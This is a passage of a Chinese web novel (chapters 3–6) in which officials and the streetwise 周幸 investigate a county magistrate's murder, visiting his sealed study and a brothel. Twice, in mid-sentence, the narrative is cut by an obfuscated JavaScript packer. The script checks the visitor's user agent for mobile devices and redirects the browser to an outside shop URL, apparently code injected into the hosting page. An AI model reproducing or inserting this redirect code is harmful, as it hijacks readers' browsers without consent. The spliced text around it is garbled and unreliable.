《荒腔走板》 3. 俗民周幸 风尘仆仆赶路两日,几人俱已疲惫,大致了解情况后便未多聊,各自散去回住处休息。 隔天一大早,冯宗来拜见,说是要先去茶楼与他请的帮手会面,齐煊等人本应先去许宅探查,但赵恪却不知抽什么风,突然提出与冯宗同去。岭王见状便也半道改了主意,屈尊降贵地坐在茶楼里等候。崔慧则不愿与赵恪同行,留在县衙调取卷宗,只派了随身护卫随同。 时辰虽早,茶楼却热闹。送茶的伙计来回穿梭,等活儿的工匠也聊着各种杂事,还有些半大孩童嬉闹,以及街头偶尔传来叫卖,郸玉县已然在寒冬的早晨苏醒。 提起这位奇人,冯宗的夸赞就如悬河瀑布般倾泻而出,用尽赞美的词汇,仿佛他请来的不是一个凡人,而是什么大罗金仙的转世。 但陆酌光据经验所得,“无所不知,无所不晓”之类的形容,多为引荐人的夸大其词,当不得真,因此他没有表现出丝毫兴趣,只是低头翻阅书卷,端的是一本正经地热爱学习。 冯宗还在滔滔不绝地细数他请来的“大罗金仙”生平事迹:“不知祖上何处,只知是前些年因北方饥荒逃难而来,在县中落脚后没多久就混得风生水起,结交甚广,与谁都能攀上一二交情,只要在郸玉县内,就没有其去不了的地方,办不成的事儿。有些下九流的场所,泼皮无赖极多,未必买衙门官府的账,但是有此人在,应对起来就简单许多。” 赵恪奇道:“到底是什么人物?当真这般厉害?” “此人姓周,单字一个‘幸’。”冯宗正说着,朝门口看了一眼,顿时站了起来,“来了。” 几人早已被勾得满心好奇,此时不约而同抬头望去,就见有一人像是被寒冬腊月里凛冽的风刮了进来,轻飘飘地迈过门槛。 不是什么魁梧强壮的江湖人,也并非阅历深厚经验老道的长者,她出乎意料的年轻,裹着素青色的棉袍,一张脸也不知是天生的肤色还是冻的,苍白得少见血色。长发随随便便用发带扎着,眉眼轮廓稍深,与郸玉县一带五官扁平的普遍模样相去甚远,明晃晃能看出是外来人士。 她缩着脖子搓着手进门,口中念念有词,约莫是抱怨刺骨风寒,刚一进门就碰见了熟人,与人笑眯眯地打起招呼,脚步挪动间探出了不老实的爪子,先是顺手捋了小孩的脑袋一把,将发丝揉得支楞八叉,又从掌柜面前的盘子里顺了一把花生,一番动作行云流水。 不管是等活儿闲聊的工匠,还是顶着一脑门乱发的孩童,就没有她搭不上话的人,已然展现出冯宗口中所描述的“结交甚广”。进门才一会儿的工夫就忙成了陀螺,嘴也没停过。 待行过了热闹的区域,她抬眸一扫,总算是瞧到了角落里等候的几位大人,当即加快了脚步行至桌前。 到了近处才让人发现,她其实比寻常女子的身量要高一些,只不过站姿太过松散而不大明显,耳边和颈子处有些许零散的碎发,因此尽管她面容白净,衣着完整,人也显出几分潦草和邋遢。 冯宗见了她如见救星,双目射出亮光,凑过去以几不可闻的声音低声道:“周幸,先前咱们说好的,你可要救我,我的小命现在就攥在你手里了……” 茶楼人声鼎沸,谈笑声此起彼伏,越发喧闹。“两耳不闻窗外事,一心只读圣贤书”的陆酌光却在此时忽而抬头,淡淡的目光看向冯宗,一掠,又落在周幸身上。 “大人言重了。”周幸含着笑,正唇齿含糊地说悄悄话,许是常年眼观六路耳听八方练就的能力,她立即察觉到余光这一抹动向,下意识偏头望去,与身着白衣的读书人对上视线。 这打量如蜻蜓点水,仿佛是极其不经意的一眼,陆酌光很快又低头看书。 周幸停步桌前,双手一拱,腰板娴熟地弯下去:“小人周幸,拜见王爷、赵大人——”她转向专心看书的陆酌光,面露迟疑,“这位是……崔大人?” 陆酌光合上书,抬头与她相望,还未开口,冯宗便抢先一步介绍道:“他是陆秀才,与赵大人一同来的。” 周幸登时一脸恍然大悟:“难怪单是看起来就博学多识,才高八斗,原来是位秀才,久仰久仰。” 连名字都不知道,也不知在久仰个什么劲儿,但这句夸赞显然也让陆酌光很是受用,他眉眼轻弯,笑意顿生,温声回:“过奖。” 赵恪早已将她上下打量好几遍,满脸失望,冷声嗤道:“冯县丞真是让本官白期待一场,这便是你口中那神通广大,无所不能的奇人?你当查案是儿戏,什么阿猫阿狗也能进来掺和一脚?” 冯宗心里也清楚,就周幸这邋里邋遢的鸟样,任谁来见都不觉得她有什么神通在身上,为了防止这二位大人将人撵滚蛋,他急忙跳出来,从中调和:“下官自是不敢胡来,只是若要查明此案,周幸必有大用,还望赵大人给能个机会。” 说着,他朝周幸使了个眼色,暗示这个杵在边上的人为自己争取两句。周幸轻叹一口气,低眉顺眼道:“小人是县中一闲人,平日里跑街头混口饭吃,故而在打探消息方面比别人有些本事。昨日冯大人交托于小人的要事已经办妥,今日查案必用得上,倘若大人觉得没用,再将小人打发走就是了。” 她姿态虽显讨好,却并不卑微,不显过度谄媚,谈吐间反而有股让人舒适的从容,加之说话时带着笑,倒令人不大在意她那略显潦草的扮相和随意的站姿。 齐煊思及他们此次来郸玉本着从简出行并未带多少人,人手够不够暂且不说,他任职刑部尚书,明白要查案自少不了市井百姓的相助,许多信息从衙门是没法获知的。他收起审视的神色,松口道:“冯宗对你赞不绝口,说有你相助,调查许知县被害一案便会事半功倍,别让本王失望。” “王爷既然同意,本官也不好阻拦。”赵恪站起身,笑眯眯地冲周幸道,“那你可要仔细点,倘若办砸了事,当心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986049|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的皮。” 周幸连忙应是,躬身将路让开,并积极道:“得王爷青眼是小人的荣幸,定当全力以赴助王爷查案。” 几人出了茶楼,前往许宅。宅门挂起白幡,屋中下人早已被遣散,只余下几个伺候后院的许夫人和小妾,显得整个宅子空寂而凄凉。 书房及前堂等地方先前被衙门查封,这几日都派人看守,确保所有东西都是许奉被害时的原模原样。宅中的下人也早已审问过多次,说是当时许奉回来时怒气冲冲,衣袍上有污浊的痕迹,直接进了书房,还吩咐过任何来客都不接见,直到晚饭时间,下人才发现他在屋中身亡。 封条撕开,方一进门就见满地米面的碎金银、铜板,书房内陈设简约,东西一概摆放整齐,更显得许奉死时溅射出的血液触目惊心。即便血液早已干涸发黑,空中浓郁的血腥味依旧散不去,齐煊只看一眼,立即红了双目,站于桌前久久不语。 赵恪由冯宗陪同,去其他地方探查。陆酌光对书房更为好奇,没有跟随。周幸则在书房内外打转。 她应是第一次进县官的宅邸,像头回进城的山里人一样,忍不住东张西望,那双不大安分的爪子很快就蠢蠢欲动,先是摸摸柱子上的雕刻,又摸摸白玉灯,甚至还将角落里的断头鸡给拎了起来。 因天气寒冷,这鸡尸冻得硬邦邦,没有腐败的迹象,她便说要拿回去炖煮,就算不能给人吃,喂狗也是好的,总好过浪费。不过被门口的侍卫瞪着眼睛呵斥不可乱动之后,她又悻悻放下。 周幸被房中浓郁的血腥味熏得打了个喷嚏,便转至门口,又被扑面的寒风冻得缩起脖子,双手也揣进棉袖之中,像坨软烂的泥巴倚在门框上,打了个百无聊赖的哈欠,耷拉起眼皮,不经意流露出几分困倦。 陆酌光在屋内看了一圈,停在桌旁。除却当时破门而入砸坏了门栓之外,其他窗口没有半点被破坏的迹象,桌上摆放着书和文房四宝,另有一盘糕点。四方格的盘子,其他格子是满的,唯有盛放雪花糕的格子少了两块。 他将剩余的一块雪花糕拿起来闻了闻,又放回去,忽而抬头,看向黏在门框上的周幸:“周姑娘,这城中有没有戏台子?” 周幸那懒怠的眼皮一掀,神色在刹那间掠过细微的变化,她转过身望着陆酌光,似笑非笑:“郸玉县禁戏。先前有个百年老戏楼被拆了后,就再没建过新的。” “为何?”陆酌光还没听说过什么地方禁戏的,不由疑惑,往前走了两步,停在窗边,朝阳的光透过窗子照进来,正落在他身上。 这腊月天,郸玉的寒风比之京城更甚,人人都裹着厚厚的棉衣,唯有陆酌光穿得单薄,衬出颀长的身体,陈旧的白衣画上雕窗的影子,将他的面容也照得白净文雅,更显眉眼浓稠如墨。 周幸像是这会儿才发现此人生了张惊为天人的俊脸,直勾勾地盯着他瞧:“陆秀才若是想知道,不妨出来说。” 4.青楼老鸨 陆酌光不明白为什么问个问题还要挪个地儿才能说,但又实在是好奇,于是照做,出了书房后跟着周幸行了几步,站在避风的檐廊下。 他希望能周幸少说闲话,快速且简洁地回答问题,但周幸从扮相上看就不是利落干脆的人,更生了一身软骨头,走在门边就倚门框,停在檐廊下就趴栏杆,慢悠悠地朝院中眺望:“陆秀才是京城人士?” 陆酌光轻敛眼睫,将她那不大端正的站姿收入眼底,温声道:“只是在京中长大。” 周幸追问:“以何事谋生呢?” 陆酌光答:“暂寄食赵家,充当门客。” “素闻达官贵族门下大多会养着闲散门客,只是要求苛刻,寻常凡庸难入贵人之眼。” 周幸转了个身,手肘抵在栏杆上,背靠满院盛开的梅花,充满期待地问:“想来陆秀才也定有一技之长,才能成为众多门客之中的翘楚,得赵家重用。” 那眼神殷殷切切,好似只要陆酌光一点头,她就会立即央求他来一段才华展示。 陆酌光嘴角噙着微笑:“我念书厉害。” 周幸心说这也能算一技之长?那我吃饭厉害岂不是也能傍个世家大族当门客去? 她这话在肚子里转了一圈,没出口,只是问:“怎么个厉害法?” “我念书快,并且口齿清晰,字认得全。” “要不说你能考上秀才呢,我们老家那十里八村都找不出一个像你这般念书厉害的人。”周幸一箩筐奉承的话信手拈来,夸得真心实意,叫人看不出半点敷衍,继而话锋一转,“你爱听戏?” “闲时略听一二。”陆酌光轻点头,顺着话问,“郸玉为何禁戏?” 周幸眉梢微动,挑起一丝不正经的戏谑:“这与许知县的一段风流往事相关,方才叫陆秀才出来说,也是不想在死者走的地方嚼舌根。” “听说是许知县刚来郸玉上任时,经常去戏楼听曲儿,一来二去就与那戏班子里的当家女旦看对了眼。 只是戏子薄情,许知县为她花了不少真金白银,那女旦转脸就要与许知县断了来往。堂堂一知县自然做不出强抢民女的恶行,最后只得把气撒在戏楼上,随便找了个由头让人砸了戏楼,并且从此恨上了唱戏的,下了明令禁戏,所以多年来郸玉就再没建过戏台,更没放过任何戏班子进城来。” 陆酌光听了这一则堪称丑闻的韵事,并未露出惊讶神色,过了会儿才慢吞吞地评价:“许大人倒是性情中人。” “可不是么,年过半百的人了,比我们这些年轻人都意气用事呢。”周幸懒忽而压低了声音,语气染上些许神秘,“眼下城内已经没有戏台,不过我倒是知道个地方,还能听人唱个几句。” 陆酌光看着她的眼睛,才发现她的眼珠不如寻常人那么黑,偏褐色,经日光一照,更像琥珀石:“什么地方?” “风月楼。” 这名字一听就不是什么正经之地,陆酌光刚要推拒,身后忽而传来低声:“陆秀才。” 二人同时望去,就见一年轻侍卫快步而来。那侍卫容貌端正,皮肤有着风吹日晒的麦色,因面上没什么表情而显得冷肃,是赵恪身边的侍卫头领李言归。 他停在陆酌光面前,先审视般看了看周幸,随后才道:“方才得了新报,有人曾目睹许知县被害前从青楼后门出来,公子现在要去青楼查案,差我来传你一同前去。” 许宅已经被衙门探查过数次,冯宗带着人恨不得掘地三尺找线索,因此书房等地方的情况与卷宗上记录得一模一样,分毫无差,再得不到什么新的信息。 齐煊纵心有不甘,也只得作罢,正逢赵恪派出的探子报来新线索,一行人便匆匆离开许宅。 因并非去饮酒作乐,为保证查案顺利,齐煊命人去县衙批搜查令,却被周幸阻拦。她听说要去风月楼,当即一拍大腿,毛遂自荐:“巧了不是,这地方我熟啊,不必拿搜查令,我领你们进去,保证一路畅通无阻!” 几人并不知周幸是个什么人才,提起风月楼像是在说自家后院,不由面露怀疑,然周幸信誓旦旦,并不像吹嘘,竟直接领着几人,直奔青楼的“密道”。 风月楼是城内最大的青楼,但并没有多么气派豪奢,拢共二层高。门口挂着俩褪色的大红灯笼,当间则是一块晕了墨迹的牌匾,写着龙飞凤舞的“风月楼”。 青楼的“密道”鲜为人知,置于一出窄小的巷子里,仅供两人并肩而行,巷口只要停一辆马车,就能挡得严严实实,十分适合偷鸡摸狗。 几人从后门而入,侍卫分列两排欲往前开路,周幸忙小跑几步拦在最前头,赔笑道:“各位大人,青楼里多是柔弱女子,这些侍卫英勇不凡,如此进去恐怕会吓到她们,不如先在楼下等候?” 齐煊摆了摆手,只带了侍卫上楼,令衙役在楼下候着。其后周幸在前头带路,她是这地方的熟客,刚进门就有小厮迎上来点头哈腰叫了声“幸姐”。 周幸往他手里塞了几文钱,叫人去将老鸨请来,而后带着几人上二楼雅间,房间不大,但陈设雅致,干净整洁。 “这里的姑娘都有一把好嗓子,缨娘更是琴技无双,什么曲儿都会唱,郸玉禁戏前常扮青衣,不过如今当了老鸨已经不卖艺了,只来了兴致时才会开嗓。” 周幸殷勤地给几人倒茶,转至陆酌光面前,她动作明显变慢了,还亲自将茶杯放在他面前,微微倾身过去,低声道:“我与她交情不错,陆秀才若是想听戏,我去与她求上一求,也不算难事。” 说着还动起了手,往陆酌光的手背上摸了一把。他不动声色将手往后一撤,抿着笑意婉拒:“多谢周姑娘好意。” 她这眼神毫不掩饰,瞬间就让一旁的齐煊三人看出端倪。 冯宗想着周幸平日里虽然不大正经,但好赖分得清正事,怎么这会儿就色迷心窍到在京城里来的大人面前耍混,见状赶忙握拳掩在嘴边,使劲咳了一嗓子。 齐煊一心要查案,对这些鸡零狗碎的小事没心思关注。 倒是赵恪来了兴致,道:“酌光兄这张脸的确生得出色,在京城也颇受追捧,前两年来我朝觐见的女族长一眼就相中了他,私底下派人上门数次向我讨要,还不惜想以重金将他买走当面首。” 周幸面露讶异,将陆酌光看了又看,笑眯眯道:“哪里来的女族长,竟这般肤浅,陆秀才的才情胜过皮相百倍,去那小小荒蛮之地当面首,实在屈才。” 赵恪哼笑:“难说,当初若是愿意跟着去了,好赖也是跟着女首长去草原吃香喝辣,总好过让水沟里的癞蛤蟆盯上。” 周幸并不在意这话里的阴阳怪气,只是望着陆酌光轻笑:“草原风烈,但愿陆秀才更中意乡间清泉。” 陆酌光似不适应这样被人大喇喇戏谑,耳朵染上不大明显的薄红,摇着头不言,干脆拿出了一本书,沉溺在知识的海洋。 周幸转头去点了炭火,又往暖炉上方撒了一把香粉,站在暖炉旁搓着手掌取暖。 房中很快升起暖意,驱散冬日的严寒,浅淡的清香在空中蔓延,楼下的琴音若隐若现,让人不由自主地放松下来。 不多时,雅间的门被推开,一女子踏着金莲寸步而来,盈盈一拜:“奴家陶缨,拜见冯大人。我风月楼内皆是踏踏实实做事之人,姑娘们更是胆小如鼠,绝不会行违法之事,不知衙门来此所为何事?” 陶缨瞧着有三十来岁,绾着精致的发髻,乌黑的长发中以珠钗为点缀,梅花色的衣裙衬得她粉面含春,虽并不年轻了,但也极其美丽。 周幸不知从哪里摸出一把瓜子,呱嗒呱嗒地嗑着,飘到陶缨身旁,说:“缨娘别慌,冯大人今日来是为了调查许知县被害一案,你只需把与许知县相关的事如实说出就好,不会为难你的。” 陶缨不认识京城来的齐煊、赵恪二人,也并非头一次与冯宗打交道,以为还是像从前那样走个过场问话,便姿态熟络地问起闲话:“现在外面都在传许大人是被阴差索命,是真是假啊?” 周幸提起这鬼神之说也颇为忌惮,下意识放轻了声音:“说不准呢!谁知道这些事儿,都说年底乱阴气重,什么魑魅魍魉都跑出来作乱,反正我每日出门前都要拜一拜菩萨,免得沾上不干净的东西。” “你家那是菩萨吗?不是泥巴捏的土地爷?” 周幸叹气道:“前些日子不是下大雨嘛?瓦顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995693|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漏水,把土地爷淋化了,那泥巴是我从寺庙的墙根抠来的,舍不得扔,就重新捏成了菩萨。” 这说的都是什么乱七八糟的。齐煊眉头一拧,当下就要发作,冯宗窥其神色,立即杀出来打圆场,呵斥道:“你这无知妇人休要胡言!许大人是郸玉百姓的父母官,一心为民鞠躬尽瘁,便是当真有阴差现世,也不可能索许大人的性命,他是被歹人作恶害死,我等今日来便是要查明此案,将凶手捉拿归案!” 他这番话说得正气凛然,好似昨夜跪在地上哭爹喊娘,说许奉被阴差索命而死的人不是他一样。 陶缨立即赔笑:“是呀,咱们许大人多好的官,就算无常勾魂,也该勾走昨儿睡了姑娘不给钱就跑的无赖。” 她惊觉氛围不对,不敢再闲话,说起正事。许奉来青楼的次数并不少,在风月楼中也不是秘密,只是他每次来都坐着马车从后巷进,直上二楼雅间,所以没多少外人知道,几人此刻所在的房间便是许奉常年听曲消遣之地。 被害那日,他像往日一样来听曲,只是不凑巧他平日喜欢的姑娘让别人点走了,那人还是泠州知府的表侄,官压许奉一头,许奉无法与之争抢,陶缨就安排了新来的姑娘伺候,不成想这新来的姑娘笨手笨脚,将酒水洒在许奉的身上,将许奉气得大声斥责,拂袖而去。 陶缨话说至此,突然顿了顿,欲言又止,这细节的神情让其他几人都看在眼里。周幸捻了个果干扔进嘴里,口齿含糊不清地劝道:“缨娘,事关重大,还望你能知无不言,切莫隐瞒。” 陶缨道:“倒不是我有意隐瞒,只是那些是许大人醉后之语,不知能否当真。说起那泠州知府的表侄李大人,几年前还与许大人有过龃龉,是城内人人都知道的事。 当初许大人在城内明令禁戏,此人却不知为何非要在城外郊地买了块地搭戏台,虽说那地势不大好,戏台搭一半自己塌了,此后便作罢,但许大人耿耿于怀。 数月前,许大人来楼中喝酒贪杯而醉,曾无意间说起泠京那条大运河上贪污贿赂的勾当盛行,随便捞点油水都够他在郸玉盖金屋,可恨他在这贫瘠之地为官,什么都捞不到,比之李大人差得太远……” 说者无意,听者有心。陶缨显然没意识到自己说了多么胆大包天的话,在场几人脸色同时一变,齐煊更是大动肝火,厉声打断她的话:“放肆!构陷朝廷命官,你有几个脑袋够砍?” 陶缨吓得一哆嗦,却见冯大人满脸惊惧,她当即意识到自己说了错话,双膝一软跪了下来:“大人息怒,方才不过奴家失言,大人莫要怪罪!” 泠州的大运河从南到北横跨整个大齐,涉及多地,陶缨一句“贪污贿赂盛行”,可谓将千百官员身上都泼上脏水。 更何况她又说这些话出自许奉之口,天大一口锅扣在老师的头上,齐煊当然动怒:“老师是清正廉明之人,从前在京城时就洁身自好,从不踏入这等风月场所,本王现在怀疑你口中言他常来此地是诽谤,许是你们用了什么手段才将他引来。来人!将此人押回去,好好审问当日许大人究竟为何事为来,又因何事恼怒离去。” 陶缨是没见过世面的青楼女子,不禁吓,一听一口一个“本王”,还要将她押回去审问,当即抹了泪水哭着求饶。冯宗也站起身,硬着头皮劝道:“王爷息怒!” 屋内霎时乱了,哭声与劝言混在一起,周幸揣着袖子缩在角落,佯装自己是一根柱子。 “慢着。王爷别急,我有法子分辨她所言真假。”赵恪摆了下手,制止了侍卫的动作,对陶缨道,“过来。” 陶缨颤着柔弱的身子膝行几步,跪到赵恪面前,被他捏着下巴抬起。陶缨生了张浓艳美丽的脸,有着风月场上见惯的多情妩媚,泪眼朦胧时睫毛上挂满晶莹的水珠,我见犹怜。 赵恪垂着眼玩味打量,忽而对身旁的人问道:“酌光兄,你觉得她说的是真话还是谎言?” 陆酌光求知若渴,从拿出书之后就认真研读,对屋中的纷闹充耳不闻,专心致志,此时听了赵恪的话才慢慢抬起头。 他不徐不疾地合上书,黑眸温润平和,盯住了陶缨的眼睛,缓声道:“你不必害怕,我只问你一个问题。” 5.学术交流 周幸本来一门心思装柱子,这会儿听到陆酌光开口,才探出脑袋瞧。她也十分好奇,这秀才会问出什么问题。 只听他道:“许大人平日最常吃的糕点是什么?” 这问题叫人大失所望,毫无缜密可言,像是随口闲聊,周幸又缩回去。 陶缨不明白他为何问这么个不相干的事,但也来不及思索其他,下意识回道:“雪花糕。” 陆酌光偏着头沉默,也不知在做什么,过了会儿才对赵恪道:“陶姑娘所言为真,许大人的确常来风月楼。” 齐煊将疑惑地审视他,见他竟不是说笑,便问:“你是凭何断定的?” 陆酌光笑而不语,赵恪却接话道:“王爷有所不知,我这兄弟有独门秘技,能分辨别人话中真假。” 齐煊的眉毛拧起来能夹死豆大的苍蝇,一时竟不知如何回应。 好像自打来了郸玉之后,他的两耳就灌满了荒唐之言,昨夜有个“阴差索命”,今日又来个“分辨真假的独门秘技”,秀才读了几本书,当上老神仙了,下回指不定来个掐指一算悬案就能告破的仙人。 赵恪这浪荡子本就不可信,更何况他身边这个秀才十分装神弄鬼,怪异得很,看个书半天都不翻页,像是字都认不全一样。齐煊没有说话,思量着将这老鸨押回去细细审问。 齐煊疑虑不消,仍下令抓人,在角落里装了老半天柱子的周幸终于动身,上前几步,作揖请罪道:“王爷,小人与缨娘几年的交情,深知她不是信口胡诌之人,也是为了早日查明许大人究竟因何被害才斗胆将此事说出,倘若她为撇清关系什么都不说,一辈子烂在肚子里也无人知道。况且那都是许大人酒后醉言,王爷听一耳朵便罢,不必当真,她们也绝不敢去外头乱言。至于许大人是否常来风月楼,那许宅的下人,驾马的车夫和楼中的小厮姑娘们,无一不是人证,随便一问就能得知真假。” 齐煊道:“那便全押回去,一一审问。” 周幸先前脸上苍白得过分,进屋后在暖炉旁烤了许久,此刻脸上才见了血色,有了些活人气儿。她敛着眼皮,遮住褐色的眼眸,一副战战兢兢的谨慎模样:“万万不可,若真是都抓走,外人不知内情,这青楼以后怕是没人敢来了。陆秀才都说缨娘所言为真,即便王爷不信陆秀才,也该信赵大人的判断才是。缨娘一介柔弱女流,往衙门的牢房走一趟,少不得要吓没半条命,还望王爷能饶恕她一时失言。” 赵恪也已然看出来,这位岭王本不是动辄生气的人,平日情绪还算稳定,但只要听到有人说起许奉的劣迹,他就立即怒发冲冠,拿人问罪。昨夜要砍县官,今日还要将青楼里的人都抓回去,明日还不知要抓谁,县衙就那么大点,能关几个人? 于是他也跟劝:“不错,酌光兄是连我爹都倚重的门客,断不会在正事上胡言乱语。我知道王爷与许知县感情深厚,为查明案子而心急,但咱们要捉的是凶手,倘若抓了无辜的人回去,岂非有损王爷的威名?” 赵恪顿了顿,看向陶缨,暧昧一笑:“再说这小娘子生得貌美如花,若进了牢房,能不能完好出来也难说。” 齐煊黑着脸,忍不住呵斥:“你当县衙是什么地方?” “是我胡言乱语,王爷莫当真。”赵恪嬉皮笑脸地请罪。 其后冯宗与赵恪轮番上阵,好言相劝,加之陶缨竭力认错,再三保证这话从未对旁人说过,日后也绝不会再提,最终没让齐煊掐着脖子押回衙门去。 赵恪让陶缨下去,门一关上,他便道:“王爷以为如何?” 陶缨不过一个小地方的青楼女子,或许此生都没踏出过城门,方才那番话断不是她能说出来的,出自许奉之口十有八.九。 朝中腐败贪污的现象自古便有,大运河的审查本就比陆地松泛,更易钻空子,因此说贿赂之风盛行也并非毫无根据。许奉若是没有听说什么,或是掌握证据,也说不出那种断言,他的死可能与这些事有干系。 这是二人心照不宣之事。 可若是沿着这条线索往下追查,先牵涉的便是泠州知府的表侄,再查深了保不齐还有什么张大人、李大人的徇私枉法,显然这是条查不通的死路。 冯宗见齐煊神色忧虑,应是进退两难,便贴心道:“王爷,此事倒不急下定论,下官先前在调查那个被小妾的丫鬟所指认的奸夫时,曾带人去赌坊盘问,只是那地方实在太混杂,没能问出什么,无奈之下便托了周幸帮忙,她与赌坊东家是结义兄妹,能请来东家相助,将当日那奸夫在赌坊的情况盘查清楚,不如先去赌坊瞧瞧?” 周幸便适时上前作揖,表示早已安排好,只等各位大人莅临赌坊。 出了雅间,陶缨仍候在门口,垂低着头恭敬将几人送到直通后门的楼梯。周幸一离开暖炉,整个人就冻得缩起来,像个萎靡的泥人。 其他人走在前头先下楼梯,周幸见陶缨双眼红红,情绪低落,便有意停下,揣起手倚在楼梯处,与她小声说话:“缨娘,那睡了咱们风月楼的姑娘就跑的人姓甚名谁,你告诉我,我叫人抓来,让你抽一顿泄愤。” 陶缨吸吸鼻子:“哪能犯得着请你,我早就叫楼里的护院抓了,便是一文钱也不能让他少给。” 周幸凑近了她,抱起拳:“缨娘真是可靠,叫人信赖,周某佩服。” 这玩笑话让陶缨破涕为笑,葱白的手指往她肩上推了一把,轻声说:“我无妨,忙你的去吧。” 周幸一笑,这才转身连步下了楼梯,一出巷口,就见齐煊等人还未上马车,被一个身裹锦衣棉袍,长得肥头大耳的中年男子拦在路边。 那男子正躬身拜礼,口中道:“下官吕鸿,是新上任的郸玉知县,本应前天就该赶到,但雪路难行,路上不得已耽搁了几日。下官刚进城就听闻王爷与赵大人在此处查案,匆匆赶来拜见,幸而及时,没错过两位大人。” 周幸眯起双眸,将吕鸿上下打量,怀疑此人上炕都费劲,肥硕得像待宰的年猪。抬起脸来,更是与身材无比相配的面容,双颊的肉鼓囊囊,挤得眼睛化作一条狭长的缝,鼻子两侧夹着深沟,一笑,满口谄媚的牙:“王爷与赵大人真是英俊潇洒,天资不凡,下官此次能协助二位查案,实乃三生之幸,祖坟冒青烟!” 齐煊本就心绪不佳,也早就听腻了这种话,便无心寒暄,只颔首为应,随后上了马车。 吕鸿并不介怀,又道:“大人一上午都在忙着查案,天寒地冻的,可不能空着肚子奔波,眼下正是午膳时间,不如由下官做东,先请二位用饭,喝口热汤。” 赵恪正好也觉得肚子饿,又因他方才那句“英俊潇洒”给讨了欢心,笑道:“吕大人有心了,那就去喝点热酒暖暖身子。” 吕鸿并不知陆酌光是个受赵家看重的门客,只当他是寻常高门附庸,又忙着攀关系献殷勤,于是存心往前挤,紧跟着赵恪后面上马车。 陆酌光对他肥硕身躯颇为忌惮,立即往后退了两步,正给他腾出了位置。 那马车本就狭窄,吕鸿一上去约莫也没什么位置了,被挤走的陆酌光眉眼依旧舒展温和,一副好脾气的模样,转而上 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周幸穿得厚,棉衣柔软,应是之前在青楼里撒香粉的时候沾了点,陆酌光闻着那若有若无的浅香,回道:“骗人是费心思的功夫,如果是一早就设想好的谎言,的确不容易看出端倪,但藏在细枝末节里的表现无法作伪。我先前在许知县书房的桌上看到糕点,只有雪花糕被吃而其他未动,临终前都要吃两块,可见许知县独爱雪花糕。方才陶姑娘答得干脆,且神色未有变化,显然不是说谎。她既然知道许知县常吃的糕点,便足以证明许知县的确常去风月楼。” 周幸微微睁大双眸,惊讶道:“许大人知道自己要死?” 陆酌光反问:“他若不知道,何故将门窗从里面紧锁?” “是有这种可能……他或许是知道有人要杀他,所以躲进了书房,反锁门窗。”周幸沉思,喃喃自语,“那凶手究竟是怎么进去的呢?” 陆酌光没有接话,眼看着马车内要归于安静,周幸又开口:“陆秀才如此博学多闻,细心敏锐,何以屈身门客,未曾想过考取功名,走上康庄仕途?” 虽说他跨进了达官显贵的门楣,但门客到底只是附庸,仰人鼻息,看人脸色生活,说好听点是谋士,说难听点是走狗也不为过。 “‘人生而有欲;欲而不得,则不能无求;求而无度量分界,则不能不争;争则乱,乱则穷。’欲望天生,当无法得到满足时,便会奋起追求,倘若追求无有界限则必起争端,人一旦被渴望追寻的欲望掌控,定会陷入困境难以脱身,所以欲望越大,困境越深。”陆酌光衣衫雪白,眉眼含笑,讲话好似春风细雨,“陆某不才,身无长物胸无大志,此生识过字读过书,得个秀才之名足矣。” 陆酌光说完,才意识到自己说得有些多,以往这般长篇大论多会引人反感,反倒笑话他“掉书袋”,满口酸话。他露出歉然的表情刚想致歉,不承想一偏头望进专注的褐色眼睛里——周幸出乎意料地听得认真。 她抱拳钦佩道:“听君一席话,胜读十年书,陆秀才既有真才实学,又如此淡泊名利,实在叫人仰慕。” 陆酌光心情愉悦,难得有了兴致主动与别人闲聊:“周姑娘平日里喜欢读什么书?” 周幸颇为不好意思地一笑,说:“实不相瞒,我这人打小看见笔墨就头痛难忍,一念书就感觉如被恶鬼掐住了脖子动弹不得,双眼发黑浑身冒冷汗,多读两行字就会被索命而去,因此不爱读书,家里除了擦屁股用的草纸之外,没有别的纸。” 冯宗没忍住,睁开了眼睛,想看看周幸脸皮是不是牛皮绷的,又厚又韧,所以才能说出这番叫人匪夷所思的粗鄙之言。 陆酌光面上仍带着得体的微笑,过了好一会儿才说话:“哦……原来如此呀。” 6.赌坊东家 马车停在万迎酒楼门口,吕鸿早已打点好,让酒楼安排了最奢华的雅间。屋中早已叫暖炉烘得温暖,刚一落座上菜的伙计就鱼贯而入,美酒佳肴一应俱全,热气腾腾地摆上了桌。 吕鸿又是布菜,又是拎着酒壶倒酒,忙前忙后像一只转圈的陀螺,虽身躯臃肿但腿脚倒是灵活,谄媚得连冯宗这个自诩最会拍马屁的人都甘拜下风。 “这酒是下官托人从塞北带来的,那地方冬日极寒,酿出的酒便甘冽醇香,京城也少有,下官特地献上一壶,还望王爷和赵大人赏脸。”吕鸿说着,行到陆酌光身前,瞥了这吃相斯文的秀才一眼,佯装要倒,嘴上却问,“陆秀才喝一杯?” 陆酌光微笑回道:“读书人,不饮酒。” 正合吕鸿心意,他嘴上说着可惜,却没再多劝一句,马上拎着酒壶走了。刚坐下来,他就迫不及待提起自己当初在塞北的见闻。 冯宗已提前探听过这位新任知县的来历。吕鸿曾经在塞北边境当职,当初敌军进犯时,大齐将士落败后退数十里,正退到吕鸿所在的城镇之前,他与城中将士死守城门,撑至援兵抵达,最后保住了一城的百姓。 